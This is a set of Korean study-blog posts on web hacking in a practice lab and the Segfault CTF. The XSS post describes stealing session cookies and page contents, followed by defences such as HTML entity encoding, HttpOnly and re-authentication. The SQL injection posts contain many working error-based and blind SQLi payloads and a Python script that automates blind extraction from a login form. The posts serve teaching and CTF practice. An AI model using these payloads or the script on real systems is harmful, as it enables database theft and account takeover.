Cookie(세션 ID) 탈취

Cookie

클라이언트는 서버에게 요청을 할 때마다 자신이 자신임을 인증해야 한다. 그렇다고 페이지를 요청할 때마다 로그인을 할 수 없으니 cookie라는 것을 사용하기 시작했다. HTTP 패킷 헤더에 `Cookie: user=nciwo`와 같이 적어 서버가 자신을 `nciwo`라는 사용자임을 인식하도록 하였다. 하지만 해당 방법에는 치명적인 결함이 존재한다. `nciwo`라는 ID를 소유하고 있지 않은 사용자가 자신의 cookie를 `nciwo`로 변조해서 속일 수 있다. 

이러한 점을 개선한 것이 세션 ID다.

세션 ID

세션 ID 또한 HTTP 패킷 헤더에 `Cookie: PHPSESSID=1k75pv8oojb8fe2hjmbpbe077a`와 같이 적는다. 서버에는 해당 값을 가진 사용자의 ID를 저장해둔다. 그럼 해당 ID를 소유한 사용자는 ID 대신 `1k75pv8oojb8fe2hjmbpbe077a`라는 값을 이용해 자신임을 인증할 수 있게 된다. 이 문자열은 처음 서버가 응답할 때 랜덤하게 생성되므로 다른 사용자는 이 값을 쉽게 추측할 수가 없다.

세션 ID 탈취

다른 사용자의 세션 ID를 알 수 있다면 해당 사용자로 위장하여 로그인이 가능하다. XSS로 다른 사용자의 브라우저에 접근할 수 있다는 점을 통해 세션 ID를 탈취할 수 있다. 세션 ID는 보통 cookie에 저장되므로, 클라이언트의 모든 cookie 값들을 공격자의 서버로 전송하면 된다.

Posted by user 'nciwo'

아까 read_post.php에 XSS 취약점을 찾았던 것을 이용해 <script> 태그를 포함한 공격 스크립트를 작성한다. 해당 글은 `nciwo`라는 ID를 가진 사용자로 작성되었다. 

`admin`이라는 ID를 가진 사용자로 접속해 해당 글(19번째 글 'Come on')을 클릭하면 `admin`의 세션 ID가 공격자의 서버로 전송될 것이다.

`PHPSESSID`, 즉, 세션 ID가 공격자 서버로 전송되었다. 해당 값을 받은 공격자는 자신의 쿠키를 변조해서 자신이 `admin`인냥 접속할 수 있을 것이다.

이렇게 `PHPSESSID`의 값을 변조한 뒤 mypage.php로 접속하면

원래는 `nciwo`였던 사용자가 `admin`의 계정으로 접속에 성공했다.

페이지 탈취

사용자의 민감한 정보가 담긴 페이지가 존재한다면, 해당 페이지를 탈취하는 것 또한 생각해볼 수 있다.

예제 사이트에서는 mypage.php라는 페이지에서 사용자의 민감한 정보를 출력한다. 

read_post.php에서의 XSS 취약점을 이용해 해당 글을 읽는 사용자들의 mypage.php 내용을 공격자의 서버로 전송하는 스크립트를 삽입했다. 어그로성 제목을 설정함으로써 글을 읽도록 유도했다.

이번 글 또한 `nciwo` ID로 작성됐다.

`admin`이라는 ID를 가진 사용자가 공짜 유튜브 프리미엄을 참지 못하고 글을 읽으러 들어가게 되면,

자신의 mypage.php 페이지를 통째로 공격자의 서버로 전달하게 된다.

대응 방법

XSS 공격에 대한 대응 방법에는 여러가지가 있을 수 있지만, 가장 원론적으로 차단할 수 있는 방법이 존재한다. 지금까지 클라이언트 측 스크립트 삽입은 HTML 특수문자에 의해 발생해왔다. 그렇다면 HTML 특수문자를 막아버리면 된다. 하지만 해당 특수문자들은 원래부터 사용해오던 특수문자이기 때문에 그냥 막을 수는 없다. 그래서 사용하게 된 것이 HTML Entity이다.

HTML Entity

HTML Entity는 `&[entity_name];` 또는 `&#[entity_number];`의 형태로 여러 문자들을 표현하는 하나의 방식이다. 

예를 들어, `&lt;` 또는 `&#60;`라고 쓰면 브라우저는 이를 `<`로 해석한다. 하지만 브라우저는 해당 `<`를 HTML 태그로 인식하지는않는다. 가령 `&lt;script&gt;`라는 문자열이 있으면 비록 사용자에게 `<script>`라고 출력해주겠지만 브라우저는 여전히 해당 문자열을 태그의 형태가 아닌 날 것 그대로 `&lt;script&gt;`라고 읽을 뿐이다. 

꼭 보안만을 위해 등장한 것은 아니지만 이 HTML Entity는 XSS를 막는 데 있어 굉장히 효과적이다. XSS 취약점에서 공격을 하기 위해 `<`, `>`, `'`, `"` 이 넷 중 하나는 사용하게 돼있다. 하지만 이 네 개의 특수문자들을 전부 HTML Entity로 처리해버린다면 XSS에서의 핵심인 클라이언트 측 스크립트 삽입을 원천적으로 차단할 수 있게 된다. 

Example

XSS 취약점이 발견된 read_post.php에서 코드를 수정해 XSS에 이용될 가능성이 있는 특수문자들을 HTML Entity로 변환해보겠다.

<div>
    <h1><?php 
            echo $post_info['title'];
         ?></h1>
    <p><?php
             echo $post_info['content'];
        ?></p>
</div>

이전에 사용되던 코드는 위와 같다. 하지만 `htmlspecialchars()` 함수를 이용한다면 `&`, `'`, `"`, `<`, `>` 5개의 특수문자들을 HTML Entity로 치환해준다.

<div>
    <h1><?php 
            echo htmlspecialchars($post_info['title']);
         ?></h1>
    <p><?php
             echo htmlspecialchars($post_info['content']);
        ?></p>
</div>

해당 함수를 적용한 코드는 위와 같다.

위의 글을 작성하여 읽으러 들어갈 때 `alert()`가 작동한다면 여전히 XSS 취약점이 존재하는 것이다.

`alert()` 함수가 작동하기는커녕 글 작성자가 옹졸하게 공격을 시도했다는 사실이 만천하에 드러나게 됐다.

실제로 응답받은 패킷을 살펴보면 `<`와 `>`, 그리고 `'`가 각각 `&lt;`, `&gt;`, `&#039;`로 되어있는 것을 확인할 수 있다.

HttpOnly Cookie

사이트가 커지면 커질수록 XSS 취약점 포인트를 전부 알아내기 힘들 수 있다. 혹시나 뚫려버릴지도 모르는 XSS에 대해 적어도 세션 ID라도 지킬 필요가 있다. Cookie에는 다양한 옵션이 있는데, 그 중에서도 XSS의 공격으로부터 쿠키를 보호할 수 있는 옵션인 `HttpOnly` 옵션이 있다. 

서버가 클라이언트에게 쿠키를 지정해줄 때 `HttpOnly` 옵션을 적용시킨다면 클라이언트는 스크립트 언어로 쿠키에 접근할 수 없게 된다. 원래라면 Javascript의 경우 `document.cookie`를 통해 모든 쿠키의 값들에 접근이 가능하지만, `HttpOnly` 옵션이 적용된 쿠키에서만큼은 예외다. 

서버에서 세션을 시작할 때 `HttpOnly`를 적용시켜준다면 클라이언트에서 위와 같은 응답 패킷을 받을 수 있다.

① `HttpOnly`로 적용되어, ② `document.cookie`로는 세션 ID가 나오지 않는다.

페이지 보호

아무리 `HttpOnly`를 적용했다고 해도 로그인 정보가 안 털리는 것은 아니다. mypage.php에서 모든 로그인 정보를 보여주는 것을 확인했다. 세션 ID보다 더 중요한 정보는 여전히 유출될 가능성이 존재한다. 따라서 이와 같이 민감한 정보는 접속하자마자 보여주지 않아야 한다. 

민감한 정보를 보호하기 위해 취할 수 있는 가장 간단한 방법으로는 인증을 다시 하는 것이다.

단순히 mypage.php에 접속하면 비밀번호를 다시 입력하게 하는 것이다.

로그인에 성공해야지만 사용자의 정보를 알 수 있다.

로그인에 실패하면 인증 실패라는 문구와 함께 사용자의 정보를 제공하지 않는다.

Case of HTML Editor

HTML Entity만 있으면 만사 OK라고 생각할 수 있다. 하지만 일부 상황에서는 HTML Entity를 사용할 수 없을 수도 있다. 가장 대표적인 예시로는 HTML Editor가 있다. 애초에 글을 HTML 방식으로 쓸 수 있게 하고 싶은 게시판의 경우, HTML Entity로 치환해버린다면 HTML Editor로써의 의미가 퇴색돼버린다. 해당 글을 작성하고 있는 tistory에서도 HTML Editor가 존재한다. 웬만해서는 HTML Editor 기능을 안 두는 것이 좋지만, 그럼에도 불구하고 필요하다면 다음의 과정을 거치는 것을 권장한다.

  1. 입력에서의 HTML 특수문자들을 전부 HTML Entity로 치환
  2. `<img>`, `<svg>`, `<h1>` 등의 자주 사용되는 태그들은 HTML Entity -> HTML 특수문자로 되돌려놓음
  3. `onerror`, `onload`, `onmouseover` 등의 악의적으로 사용될 여지가 있는 Event Handler들은 전부 삭제

'Study > with normaltic' 카테고리의 다른 글

Segfault CTF - 12주차  (4) 2025.07.02
Segfault CTF - 11주차  (0) 2025.06.25
SegFault CTF - 7주차  (1) 2025.05.28
Blind SQL Injection  (0) 2025.05.25
Error-based SQL Injection  (0) 2025.05.25

1. SQL Injection 3

SQL Injection 3

평범한 로그인 페이지로 보인다. 먼저, User ID와 Password 필드에 `normaltic`, `1234`를 입력해 로그인이 성공적으로 되는 것을 확인해보겠다.

정상적으로 로그인이 이뤄진다. 실패했을 경우의 상황을 살펴보겠다.

ID: normaltic
PW: hmm

일치하지 않는 정보라고 뜬다. 그럼 이제, SQLi가 가능한지 테스트해보겠다.

ID: normaltic'
PW: 1234

SQL 쿼리에 대한 에러 메시지가 페이지에 출력된다.

에러 메시지가 출력되는 것을 확인했으니, Error-based SQLi로 방향을 잡아보겠다.

Error-based SQLi

에러 메시지를 읽다보면 해당 DBMS는 MySQL인 것을 알 수 있다. MySQL에서 Error-based SQLi를 수행할 때 사용되는 `ExtractValue()` 함수를 사용하도록 하겠다. 

Template

SQLi를 함에 있어서 복잡한 쿼리를 작성하게 될 것이다. 실수를 미연에 방지하기 위해 템플릿을 미리 만들어두도록 하겠다.

ID: normaltic' AND ExtractValue('1', CONCAT('.', (____))) #
PW: 1234

앞으로 (____)의 밑줄 자리에 얻고자 하는 문자열이 나오도록 SQL 쿼리를 짤 것이다. 작동이 되는지 확인해보기 위해 다음의 쿼리를 넣어보겠다.

SELECT 'hi'

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT 'hi'))) #

원하는대로 `'hi'`가 출력됐다.

이렇게 템플릿은 완성이 됐다.

Database Name

이제부터 UNION SQLi를 하듯이 진행하면 된다.

데이터베이스의 이름을 가져오고 싶다면 템플릿에 다음의 내용을 넣기만 하면 된다.

SELECT Database()

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT Database()))) #

DB의 이름이 `sqli_2`인 것을 알아냈다.

Table Name

테이블은 여러개일 수 있다. 따라서 LIMIT을 활용하여 하나의 행만 나올 수 있도록 조절해줘야 한다.

SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2' LIMIT 0,1

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2' LIMIT 0,1))) #

다른 테이블을 더 찾아보면 `member`라는 테이블이 존재하는 것을 확인할 수 있다.

Column Name

`member`라는 테이블은 Flag와 별로 관련이 없어보이니, `flag_table`의 칼럼을 찾아보겠다.

SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1))) #

더 찾아보면 `flag` 칼럼 하나만이라는 것을 알 수 있다.

칼럼의 이름도 알아냈으니 이제 Flag만 알아내면 된다.

Flag

SELECT flag FROM flag_table LIMIT 0,1

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT flag FROM flag_table LIMIT 0,1))) #

첫번째 행에서 바로 Flag가 나와버렸으니 다른 행은 더 조사하지 않겠다.

2. SQL Injection 4

SQL Injection 4

바로 전 문제와 똑같이 생긴 페이지다.

로그인 테스트, SQLi 테스트를 해보면 전 문제와 똑같이 SQLi가 가능하다는 것을 알 수 있다.

ID: normaltic'
PW: 1234

아까처럼 에러를 일으켰을 때, 똑같이 에러 메시지를 출력하는 것을 알 수 있다.

Error-based SQLi

이전 문제에 사용한 템플릿을 다시 사용해 시도해보겠다.

SELECT 'normaltic'

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT 'normaltic'))) #

아까 사용했던 템플릿이 여전히 사용 가능하다.

그럼 SQLi를 이전 문제와 똑같은 방식으로 진행해보겠다.

Database Name

SELECT Database()

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT Database()))) #

`sqli_2_1`, DB의 이름이 약간 다르다.

Table Name

SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_1' LIMIT 0,1

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_1' LIMIT 0,1))) #

더 찾아보면, `member`라는 테이블이 하나 더 있다.

`member` 테이블은 일단 무시하고 진행하겠다.

Column Name

SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1))) #

`flag1`? 여러 개의 칼럼인가? 더 찾아보겠다.

불길하다.. 찾아도 찾아도 끝이 나질 않는다.

칼럼의 개수를 파악해보겠다.

SELECT COUNT(*) FROM information_schema.columns WHERE table_name='flag_table'

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='flag_table'))) #

8개나 있다.

아마 이름이 전부 `flag1`, `flag2`, `flag3`, ... , `flag8` 이런 식으로 진행될 것으로 보인다.

Flag

저 칼럼을 전부 조사하는 건 귀찮을 것 같다.

따라서 한 번에 모든 칼럼을 볼 수 있게 `CONCAT_WS()`라는 함수를 사용할 것이다. 

이 함수를 사용하면 여러 문자열을 구분자를 통해 구별하여 하나의 문자열로 묶을 수 있다.

SELECT CONCAT_WS(', ', flag1,flag2,flag3,flag4,flag5,flag6,flag7,flag8) FROM flag_table LIMIT 0,1

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT CONCAT_WS(', ', flag1,flag2,flag3,flag4,flag5,flag6,flag7,flag8) FROM flag_table LIMIT 0,1))) #

오히려 구분자를 넣으니 알아보기 힘든 Flag가 됐다. 심지어 Flag가 너무 길어서 잘렸다.

`flag1` ~ `flag4`, `flag5` ~ `flag8`을 따로따로 출력한 뒤에 이어붙여보겠다.

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT CONCAT(flag1,flag2,flag3,flag4) FROM flag_table LIMIT 0,1))) #
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT CONCAT(flag5,flag6,flag7,flag8) FROM flag_table LIMIT 0,1))) #

3. SQL Injection 5

SQL Injection 5

불안하게 웃고 있다.

페이지는 전과 동일하다.

SQL 쿼리에 오류를 일으켰을 때 에러메시지가 출력되는 것까지도 전과 동일하다.

에러메시지가 출력된다는 점을 근거로 Error-based SQLi를 진행해보겠다.

Error-based SQLi

이전 템플릿을 다시 사용해보겠다.

normaltic' AND ExtractValue('1', CONCAT('.', (____))) #
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT 'normaltic'))) #

Error-based SQLi가 먹히는 듯하다.

Database Name

SELECT Database()

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT Database()))) #

DB의 이름은 `sqli_2_2`다.

Table Name

SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_2' LIMIT 0,1

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_2' LIMIT 0,1))) #

테이블을 더 찾아보면, 이번에도 `member`라는 테이블만이 더 존재한다.

이번에도 무시하겠다.

Column Name

SELECT column_name FROM information_schema.columns WHERE table_name='flagTable_this' LIMIT 0,1

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT column_name FROM information_schema.columns WHERE table_name='flagTable_this' LIMIT 0,1))) #

`idx`라는 칼럼이 발견됐다. 이름으로 추정컨대, A.I(Auto Increment)가 적용된 단순 인덱스일 것 같다.

더 찾아보면, `flag`라는 칼럼이 존재한다.

일단 `idx` 칼럼은 무시하겠다.

Flag

SELECT flag FROM flagTable_this LIMIT 0,1

normaltic' AND ExtractValue('1', CONCAT(':', (SELECT flag FROM flagTable_this LIMIT 0,1))) #

?

플래그가 나에게 말을 걸어온다.

`LIMIT`의 인덱스를 1씩 높여가며 다음 행을 계속해서 얻어와 보겠다.

  1. hello
  2. What are you looking for?
  3. hahahahaha
  4. Funnnyyyyyyy
  5. hahahahaha
  6. Funnnyyyyyyy
  7. gogogo
  8. moremoremoremore
  9. I will Not Give you flag
  10. Get Away
  11. kkkkkkk
  12. -_-
  13. breeeeeg
  14. segfault{모자이크}
  15. kakakakakaka
  16. I gave you flag
  17. go home

안 준다면서 결국 주는 츤데레다.

4. SQL Injection 6

SQL Injection 6

페이지 자체는 4개의 문제 전부 똑같이 생겼다.

하지만 이번 문제는 약간 다르다. SQLi가 가능하다는 점은 전 문제들과 다름이 없지만,

ID: normaltic'
PW: 1234

SQL의 문법 오류에 대해 에러 메시지를 출력해주지 않는다.

SQLi는 가능하지만 어떠한 정보도 출력해주지 않는 상황에서는 Blind SQL Injection을 사용하면 된다.

Blind SQLi

ID: normaltic' and 1=1 #
PW: 1234

이 입력은 정상적인 로그인과 같은 결과를 도출한다.

그 때, 서버는 클라이언트를 다른 페이지로 리다이렉션시킨다.

ID: normaltic' and 1=2 #
PW: 1234

로그인 실패에 대해서는 클라이언트를 리다이렉션시키지 않는다.

그저 정보 불일치라는 경고를 띄운다.

 

이는 Burp Suite를 통해 확실히 알 수도 있다.

Login Success

이는 로그인 성공 과정이다. Status Code가 `302`인 것을 볼 수 있다.

Login Fail

이번엔 로그인이 실패했을 때 주고받는 패킷이다. Status Code가 `200`인 것을 볼 수 있다.

 

성공 / 실패를 판가름할 기준을 알았으니 이제 Blind SQLi를 해볼 차례다.

수작업

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>79 #

앞으로 비밀번호는 `1234`로 고정해서 보내야한다. 로그인의 성공 여부가 글자를 알아내는 데의 기준이 되기 때문이다.

통상적으로 사용되는 문자들은 10진수 아스키 코드로 32(공백 문자)부터 126(~)까지이다. 아스키 코드 테이블은 여기를 참고하자.

32와 126의 중간값인 79를 기준으로 DB명의 첫글자의 아스키값이 몇일지 가늠해보겠다.

만약 로그인이 된다면 첫글자는 80(P)부터 126(~) 사이의 문자들 중 하나일 것이다.

로그인이 성공적으로 됐다.

이것은 첫글자가 P와 ~사이에 존재한다는 것이다.

이번엔 80과 126의 중간값인 103을 기준으로 해보겠다.

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>103 #

또다시 로그인에 성공했다.

이건 첫글자가 104(h)와 126(~) 사이에 존재한다는 것을 의미한다. 다음은 104와 126의 중간값인 115으로 해보겠다.

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>115 #

로그인에 실패했다.

즉, 104(h)와 115(s) 사이에 존재한다는 것이다. 다음은 이 둘의 중간값 109로 해본다.

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>109 #

로그인에 성공했다.

110(n)과 115(s) 사이에 존재한다. 다시 중간값 112로 시도해보겠다.

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>112 #

로그인에 성공했다.

113(q)와 115(s) 사이에 존재한다. 또다시 중간값 114로 시도해보겠다.

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>114 #

로그인에 성공했다.

DB이름의 첫글자는 114(r)보다 크고, 115(s)보다 작거나 같다.

즉, 115(s)라는 것이다.

이렇게 글자 하나를 얻어낼 수 있다.

...

수작업 노가다는 저번 글에서 했던 걸로 만족한다.

자동화

이제부터는 일을 컴퓨터에게 떠넘기겠다.

직접 만든 툴을 이용해 전부 얻어오면..

툴에 대한 설명은 추후에 따로 글을 작성하는 걸로 하고, 코드만 적어두도록 하겠다..

import requests
import math

url = "~~~/sqli_3/login.php"
pw = '1234'

def finder(key, lb, ub, pos):
    mid = math.floor((lb + ub) / 2)
    # print(f"Trying between {lb} and {ub}... mid: {mid}")
    id = f"normaltic' and (select ascii(substr(({key}),{pos},1))) >= {mid} #"
    datas = {
        'UserId': id,
        'Password': pw,
        'Submit': 'Login'
    }
    response = requests.post(url, data=datas, allow_redirects=False)
    if(response.status_code == 302):
        # print("T")
        if(lb == mid):
            s_id = f"normaltic' and (select ascii(substr(({key}),{pos},1))) = {mid} #"
            s_datas = {
                'UserId': s_id,
                'Password': pw,
                'Submit': 'Login'
            }
            s_response = requests.post(url, data=s_datas, allow_redirects=False)
            if(s_response.status_code == 302):
                return chr(mid)
            else:
                return chr(mid + 1)
        return finder(key, mid, ub, pos)
    else:
        # print("F")
        return finder(key, lb, mid, pos)

def blindSQLi(key):
    result = ""
    checker = 0
    pos = 1
    while(True):
        id = f"normaltic' and (select ascii(substr(({key}),{pos},1))) > {checker} #"
        # print(f"Trying {id}...", end=' ')
        # print(result)
        datas = {
            'UserId': id,
            'Password': pw,
            'Submit': 'Login'
        }
        response = requests.post(url, data=datas, allow_redirects=False)
        if(response.status_code == 302):
            # print("T")
            if(checker == 0):
                checker = 126
            elif(checker == 126):
                result += '[?]'
                pos += 1
                checker = 0
            elif(checker == 96):
                result += finder(key, 97, 126, pos)
                pos += 1
                checker = 0
            elif(checker == 64):
                result += finder(key, 65, 96, pos)
                pos += 1
                checker = 0
            elif(checker == 47):
                result += finder(key, 48, 64, pos)
                pos += 1
                checker = 0
            elif(checker == 31):
                result += finder(key, 32, 47, pos)
                pos += 1
                checker = 0
        else:
            # print("F")
            if(checker == 0):
                break
            elif(checker == 126):
                checker = 96
            elif(checker == 96):
                checker = 64
            elif(checker == 64):
                checker = 47
            elif(checker == 47):
                checker = 31
            elif(checker == 31):
                result += '[?]'
                pos += 1
                checker = 0
    return result

def listBlindSQLi(key):
    idx = 0
    result_list = list()
    while(True):
        query = key + f" limit {idx},1"
        result = blindSQLi(query)
        if(result == ''):
            break
        else:
            result_list.append(result)
            idx += 1
    return result_list


db_name = blindSQLi('database()')

table_query = f"select table_name from information_schema.tables where table_schema='{db_name}' "
table_list = listBlindSQLi(table_query)

column_query = f"select column_name from information_schema.columns where table_name='{table_list[0]}'"
column_list = listBlindSQLi(column_query)

data_query = f"select {column_list[0]} from {table_list[0]}"
data_list = listBlindSQLi(data_query)

print("===============")
print(db_name)
print("===============")
print(table_list)
print("===============")
print(column_list,end='')
print(f" in table: {table_list[0]}")
print("===============")
print(data_list)

'Study > with normaltic' 카테고리의 다른 글

Segfault CTF - 11주차  (0) 2025.06.25
XSS - Cross Site Scripting  (0) 2025.06.22
Blind SQL Injection  (0) 2025.05.25
Error-based SQL Injection  (0) 2025.05.25
SegFault CTF - 6주차  (0) 2025.05.14

Blind SQL Injection

개발의 편의를 위해 에러메시지를 띄우는 것은 Error-based SQL Injection에 취약하다는 것을 저번 포스트에서 알 수 있었다.

하지만 에러메시지를 없앤다고 해서 SQLi로부터 자유로워지는 것은 아니다. 

로그인 페이지의 경우, 로그인이 성공적으로 됐다면 어떤 페이지로 리다이렉션이 되거나 하고, 실패했다면 실패했다는 문구가 뜨는 경우가 대부분이다.

혹은, ID의 중복 체크를 하는 경우에도 실패 / 성공 여부는 사용자에게 알려주어야만 한다.

이러한 필연적인 기능을 Blind SQL Injection에서 공격점으로 잡는다.


SQLi가 가능한 곳에서 공격자는 중복체크할 ID 이외 하나의 무언가를 `and`로 묶어 더 질문한다.

normaltic이라는 ID는 사용 가능해? and DB명의 첫글자는 a야?

DBMS(DB Management System)는 이러한 질문에 의심없이 답해준다.

`normaltic`이라는 ID가 사용가능하고, DB의 이름 첫 글자가 a라면 해당 질문은 `True`가 된다.

즉, `사용가능한 ID입니다`라는 답변을 받을 수 있는 것이다. 만약, DB 이름의 첫글자가 a가 아니라면 `사용가능하지 않은 ID`라는 답변을 받게 될 것이다.

 

`사용가능한 ID` / `사용가능하지 않은 ID`라는 답변을 기준으로 공격자는 DB명의 첫글자부터 마지막 글자까지 전부 알아낼 수 있다. 이러한 질문을 공격 input으로 표현하면 다음과 같다.

normaltic' and (SELECT SUBSTR(Database(),1,1))='a

`SUBSTR(str, pos, len)` 함수는 문자열(str)에서 pos 위치부터 len개의 글자를 뽑아내는 함수다. `Database` 함수를 통해 얻어낸 DB명 문자열로부터 첫번째 글자만 따오겠다는 것이다. 

하지만 이렇게 글자를 하나씩 물어보는 것은 굉장히 비효율적이다. 시간복잡도가 O(N²)다. 

Binary Search

물론 하나씩 물어보는 방법으로도 언젠가는 정보를 다 얻어낼 수 있겠지만, 조금 더 빠른 방법을 택한다면 효율을 높일 수 있다.

그 방법으로 적합한 것이 이진 탐색(Binary Search)다.

1부터 100까지의 숫자 중 상대가 고른 하나의 숫자를 맞추는 숫자 맞추기 게임을 예로 들자면, 다음과 같은 질문을 할 수 있다.

그 숫자는 50보다 큰가요?

맞다면 그 다음은 75보다 큰지, 또 맞다면 88보다 큰지 묻게 될 것이다. 이진 탐색 또한 이러한 방식으로 찾고자 하는 것을 탐색하는 방식이다. 이러한 방식을 채택하게 된다면 시간복잡도가 O(NlogN)이 될 것이다.

이렇게 시간복잡도가 O(N²)일 때와 O(NlogN)일 때는 차이가 크다. 

ASCII

컴퓨터 세상에서는 문자를 숫자로 표현해야 한다. 그 표준이 되어주는 것이 바로 `ASCII 코드`다. 예를 들어 A는 10진수로 65가 되고, d는 100이 된다. SQL에서도 문자를 숫자로 치환해줄 수 있다. 

`ASCII` 함수를 사용하면 된다.

SELECT ASCII('A')

이제 문자를 이렇게 숫자로 치환함으로써 이진 탐색이 가능해진다. 숫자, 알파벳, 특수문자는 ASCII에서 32부터 126까지에 해당한다. 그럼 그 중간값인 79를 기준으로 Blind SQL Injection을 진행할 수 있다.

SELECT (SELECT ASCII(SUBSTR(Database(),1,1)))>79

만약 DB명의 첫글자가 79(대문자 O)보다 크다면 이렇게 1(True)이 된다. 이 원리를 이 글 앞부분에 나온 질문에 적용하면 된다.

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>79 #

만약 `사용가능한 ID`가 나온다면, 79와 126의 사이, 103으로 다시 물어보고, 맞다면 또다시 103과 126의 사이... 이런 식으로 반복한다.

이렇게 반복하다보면 97보다 크고 98보다는 크지 않다는 것을 알게 된다. 그 말인즉, 첫글자는 98(소문자 b)이라는 것이다.

이를 두번째 글자에, 세번째 글자에, 마지막 글자에까지 적용한다면 최종적으로 DB의 이름을 알아낼 수 있다.

blindSqli

DB의 이름을 알아냈다면, 그 다음 순서로 테이블의 이름, 칼럼의 이름, Flag를 알아내면 된다.

해왔던대로 똑같이 알아내면 된다.

normaltic' and (SELECT ASCII(SUBSTR(table_name,1,1)) FROM information_schema.tables WHERE table_schema='blindSqli' LIMIT 0,1)>79 #

...

flagTable
member
plusFlag_Table

이렇게 세 개의 테이블이 존재한다.

normaltic' and (SELECT ASCII(SUBSTR(column_name,1,1)) FROM information_schema.columns WHERE table_name='flagTable' LIMIT 0,1)>79 #

이 방식을 통해 `flagTable`이라는 테이블에는 

idx
flag

이렇게 두 개의 칼럼이 존재한다는 것을 알 수 있다.

그럼 마지막으로 `flag` 칼럼을 조회해 Flag를 알아내면 된다.

normaltic' and (SELECT ASCII(SUBSTR(flag,1,1)) FROM flagTable LIMIT 0,1)>79 #

segfault{Flag 모자이크}

'Study > with normaltic' 카테고리의 다른 글

XSS - Cross Site Scripting  (0) 2025.06.22
SegFault CTF - 7주차  (1) 2025.05.28
Error-based SQL Injection  (0) 2025.05.25
SegFault CTF - 6주차  (0) 2025.05.14
SegFault CTF - 5주차 - 번외  (0) 2025.05.07

Error-based SQL Injection

이 SQLi 기법은 에러 메시지에 기반을 둔다. 페이지를 만드는 데 있어, 개발자들은 개발 편의상 에러 메시지를 페이지에 띄우는 경우가 많다. 에러 메시지를 띄우지 않으면 페이지가 그저 500 Error를 보이며 어떤 부분이 잘못됐는지 알려주지 않기 때문이다.

하지만 이렇게 에러 메시지를 띄우는 것은 공격자에게 좋은 정보를 제공할 기회를 만들어준다.

SQL Injection (Error Based SQLi Basic)

Segfault CTF의 문제를 예시로 들겠다.

SQL Injection (Error Based SQLi Basic)

쿼리가 잘못됐거나 하는 등의 이유로 제대로 동작하지 않는다면 다음과 같이 에러 메시지가 뜬다.

주목할 곳은 `~~ to use near ''normaltic'''` 이 부분이다. 실제 SQL 쿼리의 일부분을 보여준다. Error-based SQLi는 이 점을 이용한다.

ExtractValue

`ExtractValue(xml_frag, xpath_expr)` 함수는 xml 형태의 내용(xml_frag) 중 특정한 표현식(xpath_expr)을 이용해 파싱을 해주는 함수다.

SELECT ExtractValue('<a>Hello world</a>', '/a')

예를 들어 이런 쿼리를 작성하면 다음과 같은 결과가 출력된다.

하지만 xpath_expr 자리에서 문법에 맞지 않는 문자열이 들어가게 된다면 실행되지 않을 것이다.

여기까지만 보면 SQLi에 도움이 될만한 것이 보이지 않지만, 중요한 점은 `ExtractValue` 함수를 실행하기 전 문자열들을 먼저 처리한다는 것이다.

SELECT ExtractValue('<a>Hello world</a>', (SELECT '/a'))

`ExtractValue` 함수 안의 파라미터인 `(SELECT '/a')`를 먼저 문자열 `'/a'`로 처리한다. 그래서 실제로 `ExtractValue`가 실행될 때는 이러한 쿼리일 것이다.

SELECT ExtractValue('<a>Hello world</a>', '/a')

그렇다면 필요한 문자열은 SELECT를 이용해 뽑아낸 뒤, ExtractValue 함수가 실행될 때 에러를 일으켜 에러메시지를 띄운다면 에러 메시지에서 원하는 문자열을 확인할 수 있을까?

 

가능하다. 그 방법이 바로 Error-based SQLi인 것이다.

그러기 위해서는 ExtractValue 함수가 실행될 때 에러를 일으킬 수 있어야 한다. xpath_expr에는 지켜야할 문법이 존재한다. 만약 그 문법을 어긴다면 에러가 난다. 아까처럼 `.`으로 시작하거나 `!`로 시작하는 등 여러 방법으로 에러를 일으킬 수 있다. 

하지만 얻고자 하는 문자열이 `!`이나 `.`으로 시작하지 않을 확률이 굉장히 높다. 그러므로 원하는 문자열 앞에 에러를 일으켜줄 문자를 붙여줄 필요가 있다.

SELECT CONCAT('.', 'Hi')

이럴 때 `CONCAT` 함수를 사용한다. 

 

CTF

아까 다시 그 CTF 문제로 돌아가보자. 위에서 언급한 내용들을 토대로 DB명을 알아내보자.

normaltic' and ExtractValue('a', CONCAT('.', (SELECT Database()))) #

이 입력이 들어가면 쿼리는 다음과 같이 완성될 것이다.

SELECT * FROM member WHERE id='normaltic' and ExtractValue('a', CONCAT('.', (SELECT Database()))) #'

`CONCAT`이 실행된 다음의 쿼리와 동치다.

SELECT * FROM member WHERE id='normaltic' and ExtractValue('a', '.errSqli') #'

여기서 xpath_expr 자리의 `'.errSqli'`가 문법에 어긋나기 때문에 에러가 발생한다.

